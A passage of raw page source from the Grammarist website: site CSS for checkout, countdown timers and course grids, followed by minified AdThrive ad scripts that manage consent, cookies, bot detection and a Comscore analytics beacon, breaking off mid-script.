904  background-color: #42b99f;
905  background-image: -webkit-linear-gradient(45deg,
906    rgba(255, 255, 255, 0.2) 25%,
907    transparent 25%,
908    transparent 50%,
909    rgba(255, 255, 255, 0.2) 50%,
910    rgba(255, 255, 255, 0.2) 75%,
911    transparent 75%,
912    transparent
913  );
914}
915
916.progresscontainer .progress-bar-checkout {
917  background-color: #e8584b;
918}
919
920/* Cartflows Checkout Styling */
921.wcf-embed-checkout-form-two-step .wcf-next-button .wcf-button-text {
922  font-size: 2em;
923}
924
925.wcf-embed-checkout-form-two-step .wcf-next-button .wcf-button-sub-text {
926  font-size: 1.5em;
927}
928
929.wcf-embed-checkout-form-modern-checkout .wcf-product-option-wrap {
930  display: none;
931}
932
933.single-cartflows_step .search-modal-fields {
934  display: none;
935}
936
937/* Countdown Timers - Generic Base */
938.countdown-timer {
939  display: flex;
940  justify-content: center;
941  align-items: center;
942}
943
944.countdown-item {
945  display: flex;
946  flex-direction: column;
947  align-items: center;
948  margin: 0 0.6rem;
949}
950
951.countdown-value {
952  display: flex;
953  justify-content: center;
954  align-items: center;
955  width: 4rem;
956  height: 4rem;
957  border-radius: 50%;
958  font-size: 2rem;
959  font-weight: bold;
960  border: solid 4px;
961}
962
963.countdown-label {
964  margin-top: 0.4rem;
965  font-size: 0.7rem;
966  font-weight: bold;
967  text-transform: uppercase;
968  color: #999;
969  text-align: center;
970}
971
972/* Timers 1-4 Variants */
973#timer1 .countdown-value,
974#timer2 .countdown-value {
975  width: 6.5rem;
976  height: 6.5rem;
977  font-size: 60px;
978  color: #fff;
979}
980
981#timer1.countdown-label,
982#timer2.countdown-label {
983  margin-top: 0.8rem;
984  font-size: 0.9rem;
985}
986
987#timer3 .countdown-value,
988#timer4 .countdown-value {
989  width: 4rem;
990  height: 4rem;
991  font-size: 2rem;
992}
993
994#timer4 .countdown-value {
995  color: #fff;
996}
997
998/* Course Page Styling */
999.page-id-70514.separate-containers .inside-article {
1000  padding: 10px;
1001}
1002
1003.learndash-course-grid .item {
1004  transition: all 0.2s ease-in-out;
1005}
1006
1007.learndash-course-grid .item:hover {
1008  transform: scale(1.035);
1009}
1010
1011.learndash-course-grid .entry-content {
1012  margin-bottom: 20px;
1013}
1014
1015/* Navigation Styling */
1016body:not(.logged-in) .myaccount-link,
1017body.logged-in .login-link {
1018  display: none;
1019}
1020
1021.mobile-menu {
1022  display: none;
1023}
1024
1025.slideout-navigation a {
1026  color: #42B99F;
1027}
1028
1029/* Pinterest Button */
1030.dpsp-pin-it-wrapper .dpsp-pin-it-button {
1031  visibility: visible !important;
1032  color: #fff !important;
1033  background-color: #c92228 !important;
1034}
1035	
1036/* GID Tripwire Landing - Start */	
1037.bot-pattern {
1038    background-image: repeating-linear-gradient(45deg, #ffffff 25%, #f8f9fa 25%, #f8f9fa 50%, #ffffff 50%, #ffffff 75%, #f8f9fa 75%, #f8f9fa 100%);
1039    background-size: 20px 20px;
1040	}
1041
1042</style><style id="uagb-style-conditional-extension">@media (min-width: 1025px){body .uag-hide-desktop.uagb-google-map__wrap,body .uag-hide-desktop{display:none !important}}@media (min-width: 768px) and (max-width: 1024px){body .uag-hide-tab.uagb-google-map__wrap,body .uag-hide-tab{display:none !important}}@media (max-width: 767px){body .uag-hide-mob.uagb-google-map__wrap,body .uag-hide-mob{display:none !important}}</style><style id="uagb-style-frontend-108520">.uag-blocks-common-selector{z-index:var(--z-index-desktop) !important}@media(max-width: 976px){.uag-blocks-common-selector{z-index:var(--z-index-tablet) !important}}@media(max-width: 767px){.uag-blocks-common-selector{z-index:var(--z-index-mobile) !important}}</style><link rel="icon" href="https://grammarist.com/wp-content/uploads/2022/01/cropped-Grammarist-favicon-2-32x32.png" sizes="32x32" />
1043<link rel="icon" href="https://grammarist.com/wp-content/uploads/2022/01/cropped-Grammarist-favicon-2-192x192.png" sizes="192x192" />
1044<link rel="apple-touch-icon" href="https://grammarist.com/wp-content/uploads/2022/01/cropped-Grammarist-favicon-2-180x180.png" />
1045<meta name="msapplication-TileImage" content="https://grammarist.com/wp-content/uploads/2022/01/cropped-Grammarist-favicon-2-270x270.png" />
1046<script data-no-optimize='1' data-cfasync='false' id='comscore-loader-cbeddd4'>(function(){window.adthriveCLS.buildDate=`2026-09-22`;var e=class{},t=class extends e{constructor(e,t=Math.random){super(),this._probability=e,this._random=t}get(){if(this._probability<0||this._probability>1)throw Error(`Invalid probability: ${this._probability}`);return this._random()<this._probability}};function n(e){"@babel/helpers - typeof";return n=typeof Symbol==`function`&&typeof Symbol.iterator==`symbol`?function(e){return typeof e}:function(e){return e&&typeof Symbol==`function`&&e.constructor===Symbol&&e!==Symbol.prototype?`symbol`:typeof e},n(e)}function r(e,t){if(n(e)!=`object`||!e)return e;var r=e[Symbol.toPrimitive];if(r!==void 0){var i=r.call(e,t||`default`);if(n(i)!=`object`)return i;throw TypeError(`@@toPrimitive must return a primitive value.`)}return(t===`string`?String:Number)(e)}function i(e){var t=r(e,`string`);return n(t)==`symbol`?t:t+``}function a(e,t,n){return(t=i(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var o=class{constructor(){a(this,`_featureRollouts`,{}),a(this,`_checkedFeatureRollouts`,new Map),a(this,`_enabledFeatureRolloutIds`,[])}get siteFeatureRollouts(){return this._featureRollouts}_isRolloutEnabled(e){if(this._doesRolloutExist(e)){let n=this._featureRollouts[e],r=n.enabled,i=n.data;if(this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(i)){let e=(i.pct_enabled??100)/100;r&&=new t(e).get()}return r}return!1}isRolloutEnabled(e){let t=this._checkedFeatureRollouts.get(e)??this._isRolloutEnabled(e);return this._checkedFeatureRollouts.get(e)===void 0&&this._checkedFeatureRollouts.set(e,t),t}isRolloutAdministrativelyEnabled(e){return this._doesRolloutExist(e)&&this._featureRollouts[e].enabled}_doesRolloutExist(e){return this._featureRollouts&&!!this._featureRollouts[e]}_doesRolloutHaveConfig(e){return this._doesRolloutExist(e)&&`data`in this._featureRollouts[e]}_isFeatureRolloutConfigType(e){return typeof e==`object`&&!!e&&!!Object.keys(e).length}getSiteRolloutConfig(e){var t;let n=this.isRolloutEnabled(e),r=(t=this._featureRollouts[e])==null?void 0:t.data;return n&&this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)?r:{}}get enabledFeatureRolloutIds(){return this._enabledFeatureRolloutIds}},s=class extends o{constructor(e){super(),this._featureRollouts=e,this._setEnabledFeatureRolloutIds()}_setEnabledFeatureRolloutIds(){Object.entries(this._featureRollouts).forEach(([e,t])=>{this.isRolloutEnabled(e)&&t.featureRolloutId!==void 0&&this._enabledFeatureRolloutIds.push(t.featureRolloutId)})}},c,l;let u=(c=window.adthrive)==null||(c=c.siteAds)==null?void 0:c.featureRollouts,d=(l=window.adthriveCLS)==null||(l=l.siteAds)==null?void 0:l.featureRollouts,f=e=>!!e&&typeof e==`object`&&Object.keys(e).length>0,ee=new s(f(d)&&d||f(u)&&u||{}),p=new class{info(e,t,...n){this.call(console.info,e,t,...n)}warn(e,t,...n){this.call(console.warn,e,t,...n)}error(e,t,...n){this.call(console.error,e,t,...n),this.sendErrorLogToCommandQueue(e,t,...n)}event(e,t,...n){var r;((r=window.adthriveCLS)==null?void 0:r.bucket)===`debug`&&this.info(e,t)}sendErrorLogToCommandQueue(e,t,...n){window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(()=>{window.adthrive.logError!==void 0&&typeof window.adthrive.logError==`function`&&window.adthrive.logError(e,t,n)})}call(e,t,n,...r){let i=[`%c${t}::${n} `],a=[`color: #999; font-weight: bold;`];r.length>0&&typeof r[0]==`string`&&i.push(r.shift()),a.push(...r);try{Function.prototype.apply.call(e,console,[i.join(``),...a])}catch(e){console.error(e);return}}},m=e=>{let t={};return function(...n){let r=JSON.stringify(n);if(r in t)return t[r];let i=e.apply(this,n);return t[r]=i,i}};navigator.vendor;let h=navigator.userAgent,g=m(e=>/Chrom|Applechromium/.test(e||h)),_=m(()=>/WebKit/.test(h)),v=m(()=>g()?`chromium`:_()?`webkit`:`other`),y=e=>/(Windows NT|Macintosh|X11;[^)]*(Linux|CrOS))/i.test(e),b=e=>/Mobi|iP(hone|od)|Opera Mini/i.test(e),x=e=>!/iPhone/i.test(e)&&/Mac/i.test(e)&&`ontouchstart`in window,S=e=>/Tablet|iPad|Playbook|Nook|webOS|Kindle|Android (?!.*Mobile).*Safari/i.test(e)||x(e),C=m((e=h)=>S(e)?`tablet`:b(e)&&!S(e)?`mobile`:y(e)?`desktop`:`tablet`),w=e=>{let t=v(),n=C(),r=e.siteAdsProfiles,i=null;if(r&&r.length)for(let e of r){let r=e.targeting.device,a=e.targeting.browserEngine,o=r&&r.length&&r.includes(n),s=a&&a.length&&a.includes(t);o&&s&&(i=e)}return i};var T=class{constructor(){a(this,`name`,void 0),a(this,`disable`,void 0),a(this,`gdprPurposes`,void 0)}};let E=`__adthriveTcfApiStub`,D=`__tcfapiLocator`,O=[],k=!1,A,j=e=>typeof e==`function`&&!!e[E],M=(e,t=2)=>{let n=O.findIndex(([n,r,i])=>n===`getTCData`&&r===t&&i===e);return n===-1?!1:(O.splice(n,1),!0)},N=()=>{let e=()=>{if(document.querySelector(`iframe[name="${D}"]`))return;if(!document.body){setTimeout(e,5);return}let t=document.createElement(`iframe`);t.style.cssText=`display:none`,t.name=D,document.body.appendChild(t)};e()},P=()=>{let e=window.__tcfapi;return typeof e==`function`&&!j(e)?e:void 0},F=()=>{let e=P();if(e)for(;O.length>0;){let t=O.shift();if(t)try{e(t[0],t[1],t[2],t[3])}catch(e){e instanceof Error&&e.message}}},I=()=>
1046{if(k)return;if(k=!0,P()){F();return}let e=window.__tcfapi;Object.defineProperty(window,"__tcfapi",{configurable:!0,enumerable:!0,get:()=>e,set:t=>{e=t,typeof t==`function`&&!j(t)&&F()}})},L=()=>{let e=(e,t=2,n,r)=>{if(e===void 0)return O;switch(e){case`ping`:typeof n==`function`&&n({gdprApplies:A,cmpLoaded:!1,cmpStatus:`stub`,apiVersion:`2.0`},!0);return;case`setGdprApplies`:parseInt(String(t),10)>=2&&typeof r==`boolean`&&(A=r,typeof n==`function`&&n(`set`,!0));return;default:O.push([e,t,n,r])}};return Object.defineProperty(e,E,{value:!0,configurable:!1,enumerable:!1,writable:!1}),e},R=()=>{window.addEventListener(`message`,e=>{let t=typeof e.data==`string`,n={};if(t)try{n=JSON.parse(e.data)}catch{return}else n=e.data;let r=typeof n==`object`&&n?n.__tcfapiCall:void 0;if(!r)return;let i=e.source;window.__tcfapi(r.command,r.version,(e,n)=>{let a={__tcfapiReturn:{returnValue:e,success:n,callId:r.callId}};i==null||i.postMessage(t?JSON.stringify(a):a,`*`)},r.parameter)},!1)},z=()=>{if(I(),P())return!1;let e=!1;return j(window.__tcfapi)||(window.__tcfapi=L(),R(),e=!0),N(),window.__tcfapiQueue=O,e},B=(e,t=2,n,r)=>{if(e===void 0)return;let i=P();i?i(e,t,n,r):(O.push([e,t,n,r]),z())},V=(e,t=2,n,r)=>{B(e,t,n,r)},H=(e=1e4)=>new Promise((t,n)=>{let r,i=!1,a=(e,a)=>{i||(i=!0,r&&clearTimeout(r),a&&e?t(e):n(Error(`Failed to retrieve TCData`)))};e>0&&(r=setTimeout(()=>{i||(i=!0,M(a,2),n(Error(`TCF API request timed out`)))},e)),V(`getTCData`,2,a)}),U=[`mcmpfreqrec`],W=new class extends T{constructor(...e){super(...e),a(this,`name`,`BrowserStorage`),a(this,`disable`,!1),a(this,`gdprPurposes`,[1]),a(this,`_sessionStorageHandlerQueue`,[]),a(this,`_localStorageHandlerQueue`,[]),a(this,`_cookieHandlerQueue`,[]),a(this,`_gdpr`,void 0),a(this,`_shouldQueue`,!1),a(this,`_storageConsentGranted`,void 0),a(this,`_storageConsentUpdateInFlight`,0),a(this,`_storageConsentBeforeLatestUpdate`,void 0)}init(e,t){this._gdpr=e.gdpr===`true`,this._shouldQueue=this._gdpr,this._gdpr&&t&&(t.consentResponseCaptured.on(()=>{this._refreshStorageConsent(`consentResponseCaptured`)}),t.consentChanged.on(()=>{this._refreshStorageConsent(`consentChanged`)}))}_isGdprFromGlobal(){if(typeof window>`u`||!window.adthrive)return!1;let e=window.adthrive;return`gdprEnabled`in e?!!e.gdprEnabled:e.gdpr===`true`}_shouldQueueWrite(){return this._gdpr===void 0?this._isGdprFromGlobal():this._gdpr&&this._shouldQueue}isInGdprQueueMode(){return this._shouldQueueWrite()}_refreshStorageConsent(e){this._storageConsentBeforeLatestUpdate=this._storageConsentGranted,this._storageConsentUpdateInFlight+=1,this._updateStorageConsent().catch(e=>{}).then(()=>{this._storageConsentUpdateInFlight=Math.max(0,this._storageConsentUpdateInFlight-1)})}async _updateStorageConsent(){var e;let t=await H();!(t==null||(e=t.purpose)==null)&&e.consents&&(this._storageConsentGranted=t.purpose.consents[1]===!0)}_getStorageWriteAvailability(e,t){try{let n=window[e];n.setItem(t,`1`);let r=n.getItem(t);return n.removeItem(t),r===`1`?{available:!0}:{available:!1,error:Error(`${e} write probe value mismatch`)}}catch(e){return{available:!1,error:e}}}getStorageApiAvailability(){return{localStorage:this._getStorageWriteAvailability(`localStorage`,`__adthrive_localstorage_test__`).available,sessionStorage:this._getStorageWriteAvailability(`sessionStorage`,`__adthrive_sessionstorage_test__`).available}}clearQueue(e,t){t!==void 0&&(this._storageConsentGranted=t);let n=this._gdpr&&this._hasStorageConsent()===!1,r=e&&n&&this.disable===!1&&this._storageConsentUpdateInFlight>0&&this._storageConsentBeforeLatestUpdate===!1;r&&(this._storageConsentGranted=!0),e&&(!n||r)&&(this._shouldQueue=!1,this._sessionStorageHandlerQueue.forEach(e=>{this.setSessionStorage(e.key,e.value)}),this._localStorageHandlerQueue.forEach(e=>{if(e.key===`adthrive_abgroup`){let t=Object.keys(e.value)[0],n=e.value[t],r=e.value[`${t}_weight`];this.getOrSetABGroupLocalStorageValue(t,n,r,{value:24,unit:`hours`})}else e.expiry?e.type===`internal`?this.setExpirableInternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):this.setExpirableExternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):e.type===`internal`?this.setInternalLocalStorage(e.key,e.value):this.setExternalLocalStorage(e.key,e.value)}
1046),this._cookieHandlerQueue.forEach(e=>{e.type===`internal`?this.setInternalCookie(e.key,e.value):this.setExternalCookie(e.key,e.value)})),this._sessionStorageHandlerQueue=[],this._localStorageHandlerQueue=[],this._cookieHandlerQueue=[]}readInternalCookie(e){return this._verifyInternalKey(e),this._readCookie(e)}readExternalCookie(e){return this._readCookie(e)}readExternalCookieList(e){return this._readCookieList(e)}getAllCookies(){return this._getCookies()}readInternalLocalStorage(e){return this._verifyInternalKey(e),this._readFromLocalStorage(e)}readExternalLocalStorage(e){return this._readFromLocalStorage(e)}readSessionStorage(e){let t=window.sessionStorage.getItem(e);if(!t)return null;try{return JSON.parse(t)}catch{return t}}getLocalStorageWriteAvailability(){return this._getStorageWriteAvailability(`localStorage`,`__adthrive_local_storage_probe__`)}deleteCookie(e){if(!this.disable){if(this._shouldQueueWrite()){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);return}document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}}purgeCookie(e){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);try{document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}catch{}}deleteLocalStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);return}window.localStorage.removeItem(e)}}purgeLocalStorage(e){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);try{window.localStorage.removeItem(e)}catch{}}deleteSessionStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);return}window.sessionStorage.removeItem(e)}}purgeSessionStorage(e){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);try{window.sessionStorage.removeItem(e)}catch{}}_hasStorageConsent(){if(this._storageConsentGranted!==void 0)return this._storageConsentGranted}setInternalCookie(e,t,n){this.disable||(this._verifyInternalKey(e),this._setCookieValue(`internal`,e,t,n))}setExternalCookie(e,t,n){this.disable||this._setCookieValue(`external`,e,t,n)}setInternalLocalStorage(e,t){if(!this.disable)if(this._verifyInternalKey(e),this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExternalLocalStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t,type:`external`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExpirableInternalLocalStorage(e,t,n){if(!this.disable){this._verifyInternalKey(e);try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}}setExpirableExternalLocalStorage(e,t,n){if(!this.disable)try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:JSON.stringify(t),type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}setSessionStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t};this._sessionStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.sessionStorage.setItem(e,n)}}getOrSetABGroupLocalStorageValue(e,t,n,r,i=!0){let a=`adthrive_abgroup`;if(this._shouldQueueWrite()){let o={[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,o,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,o),[t,n]}let o=this.readInternalLocalStorage(a);if(o!==null){let t=o[e],n=o[`${e}_weight`]??null;if(this._isValidABGroupLocalStorageValue(t))return[t,n]}let s={...o,[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,s,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,s),[t,n]}_isValidABGroupLocalStorageValue(e){return e!=null&&!(typeof e==`number`&&isNaN(e))}_getExpiryDate({value:e,unit:t}){let n=new Date;return t===`milliseconds`?n.setTime(n.getTime()+e):t==`seconds`?n.setTime(n.getTime()+e*1e3):t===`minutes`?n.setTime(n.getTime()+e*60*1e3):t===`hours`?n.setTime(n.getTime()+e*60*60*1e3):t===`days`?n.setTime(n.getTime()+e*24*60*60*1e3):t===`months`&&n.setTime(n.getTime()+e*30*24*60*60*1e3),n.toUTCString()}_resetExpiry(e){return e.expires=this._getExpiryDate(e.expiry),e}_readCookie(e){let t=document.cookie.split(`; `).find(t=>t.split(`=`)[0]===e);if(!t)return null;let n=t.split(`=`)[1];if(n)try{return JSON.parse(decodeURIComponent(n))}catch{return decodeURIComponent(n)}return null}_readCookieList(e){let t;for(let n of document.cookie.split(`;`)){let[r,...i]=n.split(`=`);r.trim()===e&&(t=i.join(`=`).trim())}return t&&JSON.parse(t)||[]}_getCookies(){let e=[];return document.cookie.split(`;`).forEach(t=>{let[n,r]=t.split(`=`).map(e=>e.trim());e.push({name:n,value:r})}),e}_readFromLocalStorage(e){let t=window.localStorage.getItem(e);if(!t)return null;try{let n=JSON.parse(t),r=n.expires&&new Date().getTime()>=new Date(n.expires).getTime();if(e===`adthrive_abgroup`&&n.created)return window.localStorage.removeItem(e),null;if(n.resetOnRead&&n.expires&&!r){let t=this._resetExpiry(n);return window.localStorage.setItem(e,JSON.stringify(n)),t.value??t}else if(r)return window.localStorage.removeItem(e),null;if(Object.prototype.hasOwnProperty.call(n,`value`))try{return JSON.parse(n.value)}catch{return n.value}else return n}catch{return t}}_setCookieValue(e,t,n,r){try{if(this._shouldQueueWrite()){let r={key:t,value:n,type:e};this._cookieHandlerQueue.push(r)}else{let e=this._getExpiryDate((r==null?void 0:r.expiry)??{value:400,unit:`days`}),i=(r==null?void 0:r.sameSite)??`None`,a=(r==null?void 0:r.secure)??!0,o=typeof n==`object`?JSON.stringify(n):n;document.cookie=`${t}=${o}
1046; SameSite=${i}; ${a?`Secure;`:``} expires=${e}; path=/`}}catch{}}_verifyInternalKey(e){let t=e.startsWith(`adthrive_`),n=e.startsWith(`adt_`);if(!t&&!n&&!U.includes(e))throw Error(`When reading an internal cookie, the key must start with "adthrive_" or "adt_" or be part of the allowed legacy keys.`)}},G=(e,t)=>{let n=document.getElementsByTagName(`script`)[0];n&&n.parentNode&&!t?n.parentNode.insertBefore(e,n):document.body.appendChild(e)},K=(e,t=!1,n=!1,r=!1,i=null)=>new Promise((a,o)=>{let s=document.createElement(`script`);s.type=`text/javascript`,s.src=e,s.defer=n,s.async=r,i&&Object.keys(i).forEach(e=>{s.setAttribute(`data-${e}`,i[e])}),s.addEventListener(`error`,()=>o(Error(`Failed to import script ${e}`))),s.addEventListener(`load`,()=>a(s)),G(s,t)}),q=()=>({width:Math.max(document.documentElement.clientWidth||0,window.innerWidth||0),height:Math.max(document.documentElement.clientHeight||0,window.innerHeight||0)}),J=(e=window.navigator.userAgent)=>(e??``).toLowerCase().includes(`raptivesiteinspector`),Y=`^Mozilla/5\\.0$,A6-Indexer,addthis,admantx,agentslug,alexa,anderspink,apache-httpclient,apachebench,apis-google,apis,appengine-google,ask jeeves,asynchttpclient,awe\\.sm,baidu,barkrowler,biglotron,bingpreview,bot,brandverify,bubing,butterfly,buzztalk,cf-uc,chatgpt,check_http,cloudflare,cmradar/0\\.1,coldfusion,comodo ssl checker,convera,copypants,crawler,crowsnest,curl,dap/nethttp,daumoa,deepseek,deepseekbot,developers\\.google\\.com/+/web/snippet/,digitalpersona fingerprint software,drupact,duckduck,elb-healthchecker,embedly,eoaagent,europarchive,eventmachine httpclient,evrinid,exaleadcloudview,ez publish,ezooms,facebookexternalhit,feedburner,feedfetcher-google,findlink,findthatfile,flipboardproxy,garlik,genieo,getprismatic\\.com,ghost,gigablast,go http package,google( page speed insights| web preview|google-site-verification|-structured-data-testing-tool|-structureddatatestingtool),googleweblight,gpt,gptbot,hatena,headless,heritrix,htmlparser,http(_request2|client|s|unit),httrack,hubspot,ia_archiver,ichiro,icoreservice,idmarch,in(agist|sieve|stapaper),insights,ips-agent,jack,jakarta commons,java,jetslide,jobseeker,js-kit,kimengi,knows\\.is,kraken,laconica,libwww,lighthouse,linode,lipperhey,longurl,ltx71,lwp-trivial,mappydata,mastodon,mediapartners-google,megaindex\\.ru,metauri,mfe_expand,mixnode,mon(tastic|tools),monitor,moreover,mrchrome,nberta,net(craft|researchserver|state|vibes),newrelicpinger,newsme,newspaper,nightmare,ning,nmap,nutch,online-domain-tools,openai,paessler,page(peek|sinventory|thing),panopta,peerindex,phantomjs,pingdom,plukkie,proximic,pu_in,publiclibraryarchive\\.org,python-(httplib2|requests|urllib),python,quanti,queryseeker,quicklook,qwanti,re-animator,readability,rebelmouse,relateiq,riddler,rssmicro,ruby,scraper,scrapy,seo-audit,seodiver,seokicks,shopwiki,shortlinktranslate,siege,sincera,sistrix,site24x7,siteexplorer,skypeuripreview,slack,slurp,socialrank,sogou,spider,spinn3r,squider,statuscake,stripe,summify,teeraid,teoma,test certificate info,tineye,traackr,ttd-content,tweetedtimes,twikle,twitjobsearch,twitmunin,twurly,typhoeus,unwindfetch,uptim(e|ia),uptm\\.io,vagabondo,vb project,vigil,Viv/2,vkshare,wappalyzer,watchsumo,webceo,webdatascout,webmon,webscout,wesee,wget,whatsapp,whatweb,wikido,wordpress,wormly,wotbox,xenu link sleuth,xing-contenttabreceiver,yandex,yanga,yeti,yff35,yourls,zelist\\.ro,zibb`.split(`,`),X=m((e=Y)=>{let t=window.navigator.userAgent.toLowerCase();return J(t)?!1:new RegExp(e.join(`|`),`i`).test(t)});var Z=class{constructor(){a(this,`runTests`,()=>{let e=!1;return window&&document&&(e=[`webdriver`in window,`_Selenium_IDE_Recorder`in window,`callSelenium`in window,`_selenium`in window,`__webdriver_script_fn`in document,`__driver_evaluate`in document,`__webdriver_evaluate`in document,`__selenium_evaluate`in document,`__fxdriver_evaluate`in document,`__driver_unwrapped`in document,`__webdriver_unwrapped`in document,`__selenium_unwrapped`in document,`__fxdriver_unwrapped`in document,`__webdriver_script_func`in document,document.documentElement.getAttribute(`selenium`)!==null,document.documentElement.getAttribute(`webdriver`)!==null,document.documentElement.getAttribute(`driver`)!==null].some(e=>e)),e})}isSelenium(){return this.runTests()}};let Q=()=>
1046{if(navigator&&navigator.userAgent&&X())return`uav`},te=()=>{let e=q();if(e.width>5e3||e.height>5e3)return`vpv`},ne=()=>{if(new Z().isSelenium())return`selenium`},re=()=>{if(J())return;let e=[te(),Q(),ne()].filter(e=>!!e);return e.length?e:void 0},ie=e=>(e==null?void 0:e[2])===`Y`,$=()=>ie(W.readExternalCookie(`usprivacy`));re()||$()||(()=>{try{var e,t,n,r,i,a,o,s,c,l,u;let d=(e=window.adthriveCLS)==null?void 0:e.siteAds,f=d==null?void 0:d.adOptions;if((f==null||(t=f.usCmpClickWrap)==null?void 0:t.enabled)===!0)return!0;let p=window.adthrive,m=p==null||(n=p.siteAds)==null?void 0:n.adOptions,h=m==null?void 0:m.usCMP,g=!(p==null||(r=p.siteAds)==null||(r=r.siteAdsProfiles)==null)&&r.length?p.siteAds:d,_=g?w(g):null,v=p==null||(i=p.core)==null?void 0:i.region,y=(m==null||(a=m.californiaPrivacyPopup)==null?void 0:a.enabled)===!0&&v===`CA`,b=(m==null||(o=m.thirdPartyCmp)==null?void 0:o.enabled)===!0||(p==null||(s=p.deliveryFeatures)==null?void 0:s.some(e=>e.startsWith(`pubProvidedCmp-`))),x=(_==null||(c=_.adOptions)==null||(c=c.usCMP)==null?void 0:c.clickWrapMode)===!0||(_==null||(l=_.experiment)==null?void 0:l.experimentChoices.some(e=>{var t;return((t=e.adOptions)==null||(t=t.usCMP)==null?void 0:t.clickWrapMode)===!0}))===!0;return x&&(!h||!v)?!0:((f==null||(u=f.usCMP)==null?void 0:u.clickWrapMode)===!0||(h==null?void 0:h.clickWrapMode)===!0||x||ee.isRolloutEnabled(`us-cmp-click-wrap-mode`))&&(h==null?void 0:h.enabled)===!0&&!!(v&&h.regions.includes(v))&&h.strictMode!==!0&&!y&&!b}catch{return!1}})()||(()=>{let e=`unknown`;return typeof Intl<`u`&&typeof Intl.DateTimeFormat==`function`&&typeof Intl.DateTimeFormat().resolvedOptions==`function`&&(e=Intl.DateTimeFormat().resolvedOptions().timeZone||`unknown`),e.startsWith(`America/`)})()&&(()=>{let e=`6035453`,t=$()?`0`:`1`,n={c1:`2`,c2:e,cs_fpid:W.readExternalCookie(`_pubcid`)||W.readExternalLocalStorage(`_pubcid`),cs_fpit:`o`,cs_fpdm:`*null`,cs_fpdt:`*null`,options:{enableFirstPartyCookie:!0},cs_ucfr:t||`0`};window._comscore=window._comscore||[],window._comscore.push(n),K(`https://sb.scorecardresearch.com/cs/${e}/beacon.js`).catch(e=>{p.error(`ComscoreTrackerComponent`,`init`,`Error during Comscore beacon.js import: `,e)})})()})();</script>
1046<script data-no-optimize='1' data-cfasync='false' id='cls-disable-ads-cbeddd4'>var cls_disable_ads=(function(e){window.adthriveCLS.buildDate=`2026-09-22`,Object.defineProperty(e,Symbol.toStringTag,{value:`Module`});let t=new class{info(e,t,...n){this.call(console.info,e,t,...n)}warn(e,t,...n){this.call(console.warn,e,t,...n)}error(e,t,...n){this.call(console.error,e,t,...n),this.sendErrorLogToCommandQueue(e,t,...n)}event(e,t,...n){var r;((r=window.adthriveCLS)==null?void 0:r.bucket)===`debug`&&this.info(e,t)}sendErrorLogToCommandQueue(e,t,...n){window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(()=>{window.adthrive.logError!==void 0&&typeof window.adthrive.logError==`function`&&window.adthrive.logError(e,t,n)})}call(e,t,n,...r){let i=[`%c${t}::${n} `],a=[`color: #999; font-weight: bold;`];r.length>0&&typeof 